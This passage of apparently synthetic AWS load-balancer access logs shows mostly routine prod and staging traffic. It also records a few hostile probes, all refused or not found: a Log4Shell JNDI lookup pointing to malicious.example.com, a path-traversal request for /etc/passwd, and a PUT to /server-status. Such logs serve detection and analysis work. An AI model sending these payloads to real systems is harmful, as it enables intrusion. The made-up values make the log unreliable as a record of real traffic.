arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf00-520121126c4e4f48b6120b75" "staging-alb.example.com" "-" 9 2024-11-01T01:40:00.407169Z "forward" "-" "-" "230.57.52.174:443" "200" "-" "-" -https 2024-11-01T01:40:01.464883Z prod-web-alb 210.36.242.187:43942 10.0.134.195:443 0.040886 0.164678 0.062799 301 301 692 8700 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf01-2e09b7abb754471495c97923" "prod-web-alb.example.com" "-" 7 2024-11-01T01:40:01.464883Z "forward" "-" "-" "10.0.134.195:443" "301" "-" "-" -https 2024-11-01T01:40:03.005455Z prod-web-alb 119.33.3.34:38676 10.0.176.248:443 0.061669 0.092288 0.093866 404 404 124 2438 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf03-147965bcb099460e84a164f0" "prod-web-alb.example.com" "-" 8 2024-11-01T01:40:03.005455Z "forward" "-" "-" "10.0.176.248:443" "404" "-" "-" -https 2024-11-01T01:40:03.864640Z prod-web-alb 250.134.219.225:45506 10.0.229.238:443 0.094012 0.457294 0.036529 404 404 615 8635 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf03-d727420a7add4bbcb4eb78c7" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:03.864640Z "forward" "-" "-" "10.0.229.238:443" "404" "-" "-" -http 2024-11-01T01:40:04.519205Z staging-alb 64.165.216.116:33163 80.253.77.16:80 0.146015 0.412792 0.029043 301 301 656 6112 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf04-6aeeac12522d403b95d0b50a" "staging-alb.example.com" "-" 1 2024-11-01T01:40:04.519205Z "forward" "-" "-" "80.253.77.16:80" "301" "-" "-" -http 2024-11-01T01:40:04.771024Z staging-alb 86.112.252.236:41117 188.54.72.234:443 0.005072 0.467445 0.106650 200 200 914 5547 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf04-c90aa7af5a584994ace01385" "staging-alb.example.com" "-" 8 2024-11-01T01:40:04.771024Z "forward" "-" "-" "188.54.72.234:443" "200" "-" "-" -https 2024-11-01T01:40:06.005157Z staging-alb 193.51.36.26:14107 0.186.42.183:443 0.082007 0.125140 0.136056 301 301 282 6313 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf06-e76aed5a0c7645d09cdfe676" "staging-alb.example.com" "-" 0 2024-11-01T01:40:06.005157Z "forward" "-" "-" "0.186.42.183:443" "301" "-" "-" -https 2024-11-01T01:40:06.949443Z prod-web-alb 67.30.104.45:38223 10.0.177.226:443 0.008881 0.196868 0.096795 200 200 350 3567 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf06-9aa75c81357647458abe2b14" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:06.949443Z "forward" "-" "-" "10.0.177.226:443" "200" "-" "-" -https 2024-11-01T01:40:08.329499Z staging-alb 251.58.249.207:12996 4.102.169.232:80 0.092986 0.199597 0.087563 200 200 423 12087 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf08-4932fbbd7c6046e9a25cfc66" "staging-alb.example.com" "-" 6 2024-11-01T01:40:08.329499Z "forward" "-" "-" "4.102.169.232:80" "200" "-" "-" -https 2024-11-01T01:40:09.993058Z prod-web-alb 9.45.115.244:26740 10.0.205.73:443 0.051126 0.046912 0.055449 404 404 182 1906 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf09-4ee0941ceced48dbbea52951" "prod-web-alb.example.com" "-" 6 2024-11-01T01:40:09.993058Z "forward" "-" "-" "10.0.205.73:443" "404" "-" "-" -https 2024-11-01T01:40:10.504151Z prod-web-alb 45.29.28.107:51833 10.0.17.83:443 0.070247 0.401175 0.068186 302 302 521 1881 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf0a-12a170fc60bd4cde85875d0a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:10.504151Z "forward" "-" "-" "10.0.17.83:443" "302" "-" "-" -https 2024-11-01T01:40:12.412302Z prod-web-alb 50.150.149.239:21793 10.0.152.225:443 0.022665 0.214926 0.041073 200 200 537 4054 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf0c-99658352db6a4355baaef1d5" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:12.412302Z "forward" "-" "-" "10.0.152.225:443" "200" "-" "-" -https 2024-11-01T01:40:13.601124Z staging-alb 43.49.44.199:13414 42.204.5.16:80 0.119666 0.443380 0.088018 200 200 880 2672 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf0d-4572e35772c64cdb9907d85a" "staging-alb.example.com" "-" 1 2024-11-01T01:40:13.601124Z "forward" "-" "-" "42.204.5.16:80" "200" "-" "-" -https 2024-11-01T01:40:15.499895Z prod-api-alb 250.231.36.246:34529 10.0.189.235:443 0.061634 0.280152 0.017587 302 302 813 11961 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf0f-c647da7a0d5343aebd0553e8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:40:15.499895Z "forward" "-" "-" "10.0.189.235:443" "302" "-" "-" -http 2024-11-01T01:40:17.490548Z staging-alb 201.116.199.19:26052 34.14.223.5:443 0.050987 0.017163 0.107645 200 200 844 5024 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf11-bd909df6e45b44b6b7d294a9" "staging-alb.example.com" "-" 7 2024-11-01T01:40:17.490548Z "forward" "-" "-" "34.14.223.5:443" "200" "-" "-" -https 2024-11-01T01:40:19.161338Z prod-web-alb 188.207.96.105:49562 10.0.246.187:443 0.002103 0.436021 0.059455 200 200 259 14986 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf13-1f1ce561b913410db063363b" "prod-web-alb.example.com" "-" 5 2024-11-01T01:40:19.161338Z "forward" "-" "-" "10.0.246.187:443" "200" "-" "-" -https 2024-11-01T01:40:19.863063Z staging-alb 251.244.85.0:55277 238.177.214.247:8080 0.123907 0.413017 0.116297 301 301 237 11095 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf13-0b67f5393d8f4f5781d12cc1" "staging-alb.example.com" "-" 10 2024-11-01T01:40:19.863063Z "forward" "-" "-" "238.177.214.247:8080" "301" "-" "-" -https 2024-11-01T01:40:20.849304Z prod-web-alb 137.73.84.125:39436 10.0.228.151:443 0.050176 0.470322 0.033394 302 302 523 12728 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf14-ac9fec3851b64f9890fdb49d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:40:20.849304Z "forward" "-" "-" "10.0.228.151:443" "302" "-" "-" -https 2024-11-01T01:40:21.749588Z prod-web-alb 20.180.217.223:24053 10.0.84.44:443 0.082313 0.445705 0.005051 200 200 932 12515 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf15-a984e8b470fd46beaa52e277" "prod-web-alb.example.com" "-" 1 2024-11-01T01:40:21.749588Z "forward" "-" "-" "10.0.84.44:443" "200" "-" "-" -http 2024-11-01T01:40:22.257773Z staging-alb 45.155.205.243:58631 198.214.140.2:8080 0.082941 0.301041 0.131799 403 403 630 277 "PUT /server-status HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf16-b4257fd92a714cffa77388eb" "-" "-" 3 2024-11-01T01:40:22.257773Z "forward" "-" "-" "198.214.140.2:8080" "403" "-" "-" -https 2024-11-01T01:40:23.831052Z prod-api-alb 214.60.153.143:41233 10.0.223.187:443 0.048473 0.207607 0.020830 200 200 945 753 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf17-9b3ec24a43e14d8fb58e9687" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:23.831052Z "forward" "-" "-" "10.0.223.187:443" "200" "-" "-" -https 2024-11-01T01:40:24.252690Z staging-alb 216.81.178.113:46413 56.113.111.130:443 0.149255 0.527821 0.021172 404 404 70 6982 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf18-dccef02573474d679264aa55" "staging-alb.example.com" "-" 9 2024-11-01T01:40:24.252690Z "forward" "-" "-" "56.113.111.130:443" "404" "-" "-" -https 2024-11-01T01:40:24.599726Z prod-web-alb 213.116.254.113:40270 10.0.51.10:443 0.072348 0.248901 0.076430 200 200 114 3709 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf18-65aa7bb7d907441b8b1d3f62" "prod-web-alb.example.com" "-" 4 2024-11-01T01:40:24.599726Z "forward" "-" "-" "10.0.51.10:443" "200" "-" "-" -https 2024-11-01T01:40:24.931413Z staging-alb 143.223.1.44:59077 247.191.112.219:80 0.144864 0.733152 0.091592 404 404 12 13378 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf18-c63e00ac478b4ca998047374" "staging-alb.example.com" "-" 1 2024-11-01T01:40:24.931413Z "forward" "-" "-" "247.191.112.219:80" "404" "-" "-" -https 2024-11-01T01:40:25.058112Z prod-api-alb 58.211.114.188:25945 10.0.38.174:443 0.022594 0.103759 0.028987 200 200 448 11926 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf19-799161a1fb404134b8b51bd2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:25.058112Z "forward" "-" "-" "10.0.38.174:443" "200" "-" "-" -https 2024-11-01T01:40:25.673114Z prod-web-alb 144.186.240.226:33778 10.0.87.131:443 0.021803 0.415854 0.043273 200 200 211 5603 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf19-d5991cbef2b64d3e924de202" "prod-web-alb.example.com" "-" 8 2024-11-01T01:40:25.673114Z "forward" "-" "-" "10.0.87.131:443" "200" "-" "-" -https 2024-11-01T01:40:26.382768Z staging-alb 107.192.123.242:51733 23.146.221.136:80 0.074730 0.265235 0.073304 200 200 919 5976 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf1a-beb2e353b5dd40b68684c3a2" "staging-alb.example.com" "-" 5 2024-11-01T01:40:26.382768Z "forward" "-" "-" "23.146.221.136:80" "200" "-" "-" -https 2024-11-01T01:40:26.912833Z prod-web-alb 193.27.228.108:24652 10.0.16.67:443 0.063060 0.206927 0.009729 403 403 453 4838 "GET /../../../etc/passwd HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf1a-0de77230b41248c898079881" "-" "-" 9 2024-11-01T01:40:26.912833Z "forward" "-" "-" "10.0.16.67:443" "403" "-" "-" -https 2024-11-01T01:40:27.794493Z prod-api-alb 204.14.205.113:46370 10.0.105.95:443 0.087703 0.498058 0.066676 200 200 804 14673 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf1b-ef789d6bf4e64c30830202f3" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:27.794493Z "forward" "-" "-" "10.0.105.95:443" "200" "-" "-" -https 2024-11-01T01:40:28.285900Z prod-web-alb 61.148.100.125:64260 10.0.109.122:443 0.009178 0.058154 0.013171 404 404 169 2918 "GET /cart HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1c-78478dcb65d640a293a46c18" "prod-web-alb.example.com" "-" 7 2024-11-01T01:40:28.285900Z "forward" "-" "-" "10.0.109.122:443" "404" "-" "-" -https 2024-11-01T01:40:28.629997Z prod-api-alb 255.249.48.122:51909 10.0.94.88:443 0.049024 0.485260 0.024578 200 200 725 2605 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf1c-01d14ed3b26a4661aa80e327" "prod-api-alb.example.com" "-" 7 2024-11-01T01:40:28.629997Z "forward" "-" "-" "10.0.94.88:443" "200" "-" "-" -https 2024-11-01T01:40:30.348373Z prod-web-alb 116.217.31.154:26113 10.0.34.149:443 0.071725 0.031198 0.080145 302 302 964 8928 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1e-01858220a1684a45af9a18e7" "prod-web-alb.example.com" "-" 6 2024-11-01T01:40:30.348373Z "forward" "-" "-" "10.0.34.149:443" "302" "-" "-" -https 2024-11-01T01:40:30.676390Z prod-web-alb 8.135.87.108:51007 10.0.11.233:443 0.081769 0.331208 0.018215 302 302 304 14394 "GET /products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf1e-b8fbc6500ff84464be11c068" "prod-web-alb.example.com" "-" 9 2024-11-01T01:40:30.676390Z "forward" "-" "-" "10.0.11.233:443" "302" "-" "-" -https 2024-11-01T01:40:32.471085Z prod-web-alb 32.117.146.234:62894 10.0.84.254:443 0.018391 0.352097 0.001921 200 200 102 1202 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf20-2d181b49a08c48aca20c2d1d" "prod-web-alb.example.com" "-" 5 2024-11-01T01:40:32.471085Z "forward" "-" "-" "10.0.84.254:443" "200" "-" "-" -https 2024-11-01T01:40:33.688238Z prod-web-alb 209.156.210.242:15746 10.0.27.79:443 0.076985 0.430252 0.060406 200 200 301 2878 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf21-e21fa970ae934d8296677630" "prod-web-alb.example.com" "-" 10 2024-11-01T01:40:33.688238Z "forward" "-" "-" "10.0.27.79:443" "200" "-" "-" -https 2024-11-01T01:40:35.318160Z staging-alb 106.243.233.237:20339 146.229.159.141:80 0.033692 0.516203 0.000720 200 200 765 9669 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf23-d492640bfef5499398bf26ad" "staging-alb.example.com" "-" 2 2024-11-01T01:40:35.318160Z "forward" "-" "-" "146.229.159.141:80" "200" "-" "-" -https 2024-11-01T01:40:36.600051Z staging-alb 7.195.64.102:54613 29.94.110.94:443 0.013056 0.311202 0.007473 302 302 567 4799 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf24-4fcb2bc85c7840cabc2d1892" "staging-alb.example.com" "-" 7 2024-11-01T01:40:36.600051Z "forward" "-" "-" "29.94.110.94:443" "302" "-" "-" -https 2024-11-01T01:40:36.909369Z prod-api-alb 198.203.233.198:62243 10.0.150.97:443 0.027207 0.128884 0.082248 301 301 759 11044 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf24-119e32426d1b423b935d8fc6" "prod-api-alb.example.com" "-" 5 2024-11-01T01:40:36.909369Z "forward" "-" "-" "10.0.150.97:443" "301" "-" "-" -https 2024-11-01T01:40:38.526714Z prod-api-alb 217.8.218.201:39269 10.0.98.135:443 0.042472 0.085903 0.078285 302 302 502 14150 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cf26-af2f5fd89abe45c9a4aacf6f" "prod-api-alb.example.com" "-" 1 2024-11-01T01:40:38.526714Z "forward" "-" "-" "10.0.98.135:443" "302" "-" "-" -https 2024-11-01T01:40:40.373116Z prod-web-alb 45.155.205.156:39947 10.0.122.78:443 0.073081 0.338244 0.019689 404 404 182 3057 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf28-4ff15b0fbf1e410d9df347f1" "-" "-" 4 2024-11-01T01:40:40.373116Z "forward" "-" "-" "10.0.122.78:443" "404" "-" "-" -http 2024-11-01T01:40:41.743504Z staging-alb 189.68.143.143:25150 187.45.186.161:8080 0.047950 0.316114 0.036153 200 200 360 9856 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf29-3355b1bca946457d813531c1" "staging-alb.example.com" "-" 4 2024-11-01T01:40:41.743504Z "forward" "-" "-" "187.45.186.161:8080" "200" "-" "-" -https 2024-11-01T01:40:42.018650Z prod-web-alb 86.39.233.219:17969 10.0.120.87:443 0.074295 0.127063 0.044288 200 200 798 5136 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cf2a-fc47a53d35d14799a42abbca" "prod-web-alb.example.com" "-" 3 2024-11-01T01:40:42.018650Z "forward" "-" "-" "10.0.120.87:443" "200" "-" "-" -https 2024-11-01T01:40:43.495326Z staging-alb 86.108.28.216:36079 223.235.98.33:80 0.104263 0.577924 0.119997 200 200 618 13134 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf2b-a36d89b6c7db4d629aa90222" "staging-alb.example.com" "-" 6 2024-11-01T01:40:43.495326Z "forward" "-" "-" "223.235.98.33:80" "200" "-" "-" -http 2024-11-01T01:40:45.380943Z staging-alb 227.82.163.165:53496 160.90.46.181:80 0.049974 0.368851 0.012840 200 200 595 13548 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf2d-f73043fb898a48838c75fb39" "staging-alb.example.com" "-" 0 2024-11-01T01:40:45.380943Z "forward" "-" "-" "160.90.46.181:80" "200" "-" "-" -https 2024-11-01T01:40:45.748202Z prod-api-alb 70.16.168.245:12917 10.0.14.38:443 0.004817 0.186563 0.038774 301 301 163 7789 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cf2d-856ed1495e8c479eb457a805" "prod-api-alb.example.com" "-" 9 2024-11-01T01:40:45.748202Z "forward" "-" "-" "10.0.14.38:443" "301" "-" "-" -https 2024-11-01T01:40:46.106737Z staging-alb 43.32.175.209:26318 194.136.14.69:8080 0.121222 0.350861 0.036001 301 301 339 3351 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cf2e-9db66ea738174fdca9b0a80e" "staging-alb.example.com" "-" 5 2024-11-01T01:40:46.106737Z "forward" "-" "-" "194.136.14.69:8080" "301" "-" "-" -https 2024-11-01T01:40:46.899100Z prod-web-alb 29.190.184.97:64512 10.0.81.188:443 0.097084 0.421165 0.063750 302 302 508 1988 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cf2e-704dcf263a5045d5af4fb401" "prod-web-alb.example.com" "-" 0 2024-11-01T01:40:46.899100Z "forward" "-" "-" "10.0.81.188:443" "302" "-" "-" -http 2024-11-01T01:40:48.283781Z staging-alb 149.175.196.47:54288 223.71.114.211:8080 0.140303 0.234222 0.069145 200 200 805 10299 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cf30-0c005bbdab30427b93656767" "staging-alb.example.com" "-" 0 2024-11-01T01:40:48.283781Z "forward" "-" "-" "223.71.114.211:8080" "200" "-" "-" -http 2024-11-01T01:40:49.092084Z staging-alb 50.226.34.178:16905 104.197.208.77:8080 0.030588 0.523742 0.078535 200 200 255 2478 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 